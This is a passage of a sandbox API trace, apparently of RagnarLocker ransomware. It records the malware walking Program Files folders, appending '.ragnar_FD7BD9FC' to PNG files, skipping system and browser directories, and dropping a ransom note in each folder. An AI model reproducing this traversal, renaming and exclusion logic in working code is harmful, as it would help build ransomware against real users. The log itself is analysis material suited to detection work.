Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.253] CloseHandle (hObject=0xffffffff) returned 0 [0079.253] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" [0079.253] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.253] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.253] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.253] lstrcpyW (in: lpString1=0x1eab58, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.253] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.253] CloseHandle (hObject=0xffffffff) returned 0 [0079.253] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" [0079.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.254] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.254] lstrcpyW (in: lpString1=0x1eab58, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.254] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.254] CloseHandle (hObject=0xffffffff) returned 0 [0079.254] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" [0079.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.254] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x817a6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.254] lstrcpyW (in: lpString1=0x1eab58, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.254] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0079.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.255] lstrcpyW (in: lpString1=0x1eab58, lpString2="shatter.png" | out: lpString1="shatter.png") returned="shatter.png" [0079.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png") returned=".png" [0079.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.255] CloseHandle (hObject=0xffffffff) returned 0 [0079.255] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" [0079.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.ragnar_FD7BD9FC" [0079.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.255] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0079.255] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2=".") returned 1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2="..") returned 1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Windows") returned -1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Windows.old") returned -1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Tor browser") returned -1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Internet Explorer") returned 1 [0079.255] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Google") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Opera") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Opera Software") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Mozilla") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Mozilla Firefox") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="$Recycle.Bin") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="ProgramData") returned 1 [0079.256] lstrcmpiW (lpString1="SpecialOccasion", lpString2="All Users") returned 1 [0079.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.256] lstrcpyW (in: lpString1=0x1eb620, lpString2="SpecialOccasion" | out: lpString1="SpecialOccasion") returned="SpecialOccasion" [0079.256] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" [0079.256] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" [0079.256] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RGNR_FD7BD9FC.txt" [0079.256] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.260] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*" [0079.260] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.260] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.260] lstrcpyW (in: lpString1=0x1ea754, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.260] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.260] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.260] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="mainscroll.png", lpString2=".") returned 1 [0079.260] lstrcmpiW (lpString1="mainscroll.png", lpString2="..") returned 1 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.260] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.260] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.260] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.260] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.260] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cc8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.261] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.261] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0079.261] lstrcmpiW (lpString1="scenesscroll.png", lpString2=".") returned 1 [0079.261] lstrcmpiW (lpString1="scenesscroll.png", lpString2="..") returned 1 [0079.261] FindNextFileW (in: 